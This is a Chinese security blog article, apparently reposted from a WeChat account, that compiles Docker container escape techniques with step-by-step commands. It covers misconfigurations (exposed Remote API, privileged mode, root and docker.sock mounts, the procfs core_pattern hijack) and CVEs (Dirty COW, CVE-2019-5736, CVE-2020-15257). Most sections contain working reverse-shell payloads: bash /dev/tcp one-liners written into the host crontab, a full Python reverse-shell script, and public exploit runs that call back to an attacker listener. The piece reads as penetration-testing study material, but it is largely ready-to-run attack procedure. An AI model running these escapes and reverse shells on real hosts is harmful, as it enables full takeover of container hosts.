点击蓝字 关注我们
日期:2023-03-15 作者:Corl7 介绍: Docker
逃逸方法汇总。
0x00 前言
在攻防中,拿到webshell
后,发现自己是在docker
容器中,拿到的并不是宿主机的权限,那我们就需要进一步渗透,就必须逃逸到宿主机中,拿到宿主机的权限。
复现关于配置错误导致的docker
逃逸时,均使用的是Ubuntu20.04.5
和最新版docker
,在复现脏牛漏洞实现Docker
逃逸、runC
容器逃逸漏洞、CVE-2020-15257
逃逸时,在环境搭建部分,有相关版本说明。下面就介绍各种docker逃逸方法:
0x01 如何判断当前机器是否为docker容器环境
1.1 检查根目录下是否存在.dockerenv文件
如果根目录下存在.dockerenv
文件,说明是在docker
容器中。
ls -al /
1.2 检查 /proc/1/cgroup 是否存在含有docker字符串
查询系统进程的cgroup
信息,存在docker
字段则是在docker
容器中。
cat /proc/1/cgroup
0x02 Docker Remote API未授权访问逃逸
在使用docker swarm
的时候,管理的docker
节点上会开放一个TCP
端口2375
,默认绑定在0.0.0.0
上,造成任何人都可以访问管理端的2375
端口,任何人都可以远程控制管理的docker
环境。
2.1 环境搭建
使用vulhub
中的漏洞环境。
cd vulhub-master/docker/unauthorized-rce
docker-compose build
docker-compose up -d
2.2 漏洞验证
访问version
和info
界面,如果存在返回信息,说明漏洞存在。
http://192.168.59.147:2375/version
http://192.168.59.147:2375/info
2.3 漏洞利用
在利用之前,需要在中安装好docker
,通过命令查看目标主机是否存在正在运行的docker
镜像,结果为空,说明不存在正在运行的docker
容器。
docker -H tcp://192.168.59.147:2375 ps
让目标主机拉取一个镜像。
docker -H tcp://192.168.59.147:2375 pull alpine
查看目标主机拉取的镜像。
docker -H tcp://192.168.59.147:2375 images
以特权模式,启动拉取的alpine
镜像。
docker -H tcp://192.168.59.147:2375 run -it --privileged alpine /bin/sh
查看系统磁盘分区情况,在新建一个目录,将宿主机所在磁盘挂载到新建的目录中。
fdisk -l
mkdir /hacker
mount /dev/sda5 /hacker
ls hacker/
首先在kali
中使用nc
监听,进入到hacker
目录,通过touch
创建一个sh
文件,再将bash
反弹命令写入到创建的sh
文件里面,在编写计划任务到/hacker/etc/crontab
文件中。
cd /hacker
touch /hacker/hacker.sh
echo "bash -i >& /dev/tcp/192.168.59.145/6666 0>&1" >/hacker/hacker.sh
echo "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab
返回到kali
中进行查看,已成功接收到shell
。
0x03 privileged特权模式启动容器逃逸
特权模式逃逸是一种最简单有效的逃逸方法,使用特权模式启动的容器时,docker
管理员可通过mount
命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,可直接通过chroot
切换根目录、写ssh
公钥和crontab
计划任何等逃逸到宿主机。
3.1 环境搭建
拉取一个镜像,在启用时使用--privileged
。
docker pull ubuntu:16.04
docker run -itd --privileged ubuntu:16.04 /bin/bash
3.2 漏洞验证
判断是否是特权模式启动,如果是以特权模式启动的话,CapEff
对应的掩码值应该为0000003fffffffff
。
cat /proc/self/status |grep Cap
3.3 漏洞利用
在docker
容器中查看系统磁盘分区情况,在新建一个目录,将宿主机所在磁盘挂载到新建的目录中。
fdisk -l
mkdir /hacker
mount /dev/sda5 /hacker
首先在kali
中使用nc
监听,进入到hacker
目录,通过touch
创建一个sh
文件,再将bash
反弹命令写入到创建的sh
文件里面,在编写计划任务到/hacker/etc/crontab
文件中。
cd /hacker
touch /hacker/hacker.sh
echo "bash -i >& /dev/tcp/192.168.59.145/6666 0>&1" >/hacker/hacker.sh
echo "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab
返回到kali
中进行查看,已成功接收到shell
。
0x04 危险挂载导致Docker逃逸
在启动docker
容器时,将服务器中的根目录或敏感目录挂载到容器中时,可能会造成docker
逃逸。
4.1 环境搭建
docker pull ubuntu:16.04
docker run -itd -v /:/hacker ubuntu:16.04 /bin/bash
docker exec -it e3a95344a65d bash
4.2 漏洞利用
进入到hacker
目录,查看是否将宿主机的根目录挂载到/hacker
目录中,挂载成功之后,接下来就可以通过写计划任务反弹shell
,这里就不再演示,反弹shell
方法参考上面反弹shell
步骤。
cd hacker/
ls
0x05 挂载Docker Socket逃逸
在启动docker
容器时,将宿主机/var/run/docker.sock
文件挂载到docker
容器中,在docker
容器中,也可以操作宿主机的docker
。
Docker
采用C/S
架构,我们平常使用的Docker
命令中,docker
即为client
,Server
端的角色由docker daemon
扮演,二者之间通信方式有以下3种,使用下面命令,就可以操作目标docker
,使用docker
命令,操作docker
:
unix:///var/run/docker.sock
tcp://host:port
fd://socketfd
5.1 环境搭建
docker pull ubuntu:16.04
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash
5.2 漏洞验证
如果存在这个文件,说明漏洞可能存在。
find / -name docker.sock
5.3 漏洞利用
在docker
容器中安装docker
。
apt-get update
apt-get install docker.io
在docker
容器中,使用命令查看宿主机拉取的镜像。
docker -H unix://var/run/docker.sock images
在docker
容器中,使用命令再运行一个docker
容器,将宿主机的根目录挂载到ubuntu:16.04
的test
目录中,造成docker
逃逸,在通过写计划任务方式,反弹shell
,这里不在演示反弹shell
过程。
docker -H unix://var/run/docker.sock run -v /:/test -it ubuntu:16.04 /bin/bash
ls /test
0x06 挂载宿主机procfs逃逸
procfs
中的/proc/sys/kernel/core_pattern
负责配置进程崩溃时内存转储数据的导出方式,如果/proc/sys/kernel/core_pattern
文件中的首个字符是管道符|
,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。当利用这种方式进行docker
逃逸时,触发条件比较苛刻,需要有进程奔溃才能触发。
6.1 环境搭建
启动容器,将/proc/sys/kernel/core_pattern
挂载到容器中的/host/proc/sys/kernel/core_pattern
位置。
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:16.04
6.2 漏洞验证
如果找到两个core_pattern
文件,那可能就是挂载了宿主机的procfs
。
find / -name core_pattern
6.3 漏洞利用
当启动一个容器时,会在/var/lib/docker/overlay2
目录下生成一层容器层,容器层里面包括diff、link、lower、merged、work
目录,而docker
容器的目录保存在merged
目录中,通过命令找到当前容器在宿主机下的绝对路径,workdir
代表的是docker
容器在宿主机中的绝对路径。
cat /proc/mounts | grep docker
安装 vim
和 gcc
。
apt-get update -y && apt-get install vim gcc -y
创建一个反弹 Shell
的py
脚本。
vim /tmp/.t.py
#!/usr/bin/python3
import os
import pty
import socket
lhost = "192.168.59.145"
lport = 6666
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.t.py')
s.close()
if __name__ == "__main__":
main()
我们修改/host/proc/sys/kernel/core_pattern
文件以达到修改宿主机 /proc/sys/kernel/core_pattern
的目的。
chmod 777 /tmp/.t.py
echo -e "|//var/lib/docker/overlay2/559aa75e1fbf3659f9f229f5d7e7e6c4ce4ec1cb2a8c42d3d07476c42148a567/merged/tmp/.t.py rcore " > /host/proc/sys/kernel/core_pattern
在kali
中使用nc
进行监听,然后在容器里创建一个可以崩溃的程序,编译之后并运行。
vim t.c
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
gcc t.c -o t
./t
返回到kali
中进行查看,已成功接收到shell
。
0x07 脏牛漏洞实现Docker逃逸
当宿主机存在Dirty Cow(CVE-2016-5195)
漏洞时,利用该漏洞,可实现Docker
容器逃逸,获得root
权限的shell
。
7.1 环境搭建
使用Ubuntu
的14.04.5
版本进行复现,该版本是存在脏牛漏洞的,执行下面命令之前需要安装好docker
和docker-compose
。
git clone https://github.com/gebl/dirtycow-docker-vdso.git
cd dirtycow-docker-vdso/
sudo docker-compose run dirtycow /bin/bash
7.2 漏洞利用
在kali
中开启监听,进入到dirtycow-vdso
目录,编译之后,并执行。
cd /dirtycow-vdso
make
./0xdeadbeef 192.168.59.145:6666
返回到kali
中进行查看,已成功接收到shell
。
0x08 runC容器逃逸漏洞
2019
年2
月11
日,runc
的维护团队报告了一个新发现的漏洞,该漏洞最初由Adam Iwaniuk
和Borys Poplawski
发现。该漏洞编号为CVE-2019-5736
,漏洞影响在默认设置下运行的docker
容器,并且攻击者可以使用它来获得主机上的root
级访问权限。
8.1 影响版本
docker version <= 18.09.2
RunC version <= 1.0-rc6
8.2 环境搭建
使用Ubuntu
的16.04.7
版本进行复现,通过下面命令安装指定版本docker
。
apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
安装完docker
之后,拉取ubuntu16.04
的docker
容器,并运行。
docker pull ubuntu:16.04
docker run -it ubuntu:16.04
8.3 漏洞利用
在kali
中下载exp
,并进行编辑,在var payload
所在行中添加bash
反弹命令。
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
cd CVE-2019-5736-PoC
vim main.go
修改完之后,进行编译。
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
重新打开一个终端,查看正在运行的docker
容器,并将编译生成的main
文件,拷贝到ubuntu:16.04
容器中的tmp
目录中。
docker ps
docker cp main cfb1c24d8c58:/tmp
在docker
容器中,给tmp
目录中的main
文件提升权限,并运行。
cd /tmp
ls
chmod 777 main
./main
假装为宿主机管理员,现在进入到该容器中,运行完命令之后,会提示No help topic for '/bin/bash'
,这时并没有进入到docker
容器中。
docker exec -it cfb1c24d8c58 /bin/bash
这时再到docker
容器中进行查看,发现exp
已被执行。
返回到kali
中进行查看,已成功接收到shell
。
0x09 CVE-2020-15257逃逸
由于在host
模式下,容器与host
共享一套Network namespaces
,此时containerd-shim API
暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID
为0
,但没有限制对抽象Unix
域套接字的访问。所以当一个容器root
权限,且容器的网络模式为--net=host
的时候,通过ontainerd-shim API
可以达成容器逃逸的目的。
9.1 影响版本
containerd < 1.4.3
containerd < 1.3.9
9.2 环境搭建
使用Ubuntu
的16.04.7
版本进行复现,通过下面命令安装指定版本docker
。
apt-get update
apt-get install ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1
拉取ubuntu:18.04
镜像,使用--net=host
启动,并进入到该容器内部。
docker pull ubuntu:18.04
docker run -itd --net=host ubuntu:18.04 /bin/bash
docker exec -it 5be3ed60f152 /bin/bash
9.3 漏洞利用
进入到tmp
目录,使用wget
下载exp
。
cd /tmp
wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
下载完成之后进行解压。
tar -zxvf cdk_v0.1.6_release.tar.gz
在kali
中使用nc
进行监听,并执行exp
。
./cdk_linux_amd64 run shim-pwn 192.168.59.145 6666
返回到kali
中进行查看,已成功接收到shell
。
0x10 总结
在搭环境时,出现了非常多的问题,一个漏洞环境可能会花半天或一天时间去搭建,最后才能复现成功,幸好自己没有放弃,才能复现这么多的漏洞,学到这么多的知识。
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
原文始发于微信公众号(宸极实验室):『杂项』Docker 逃逸方法汇总
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论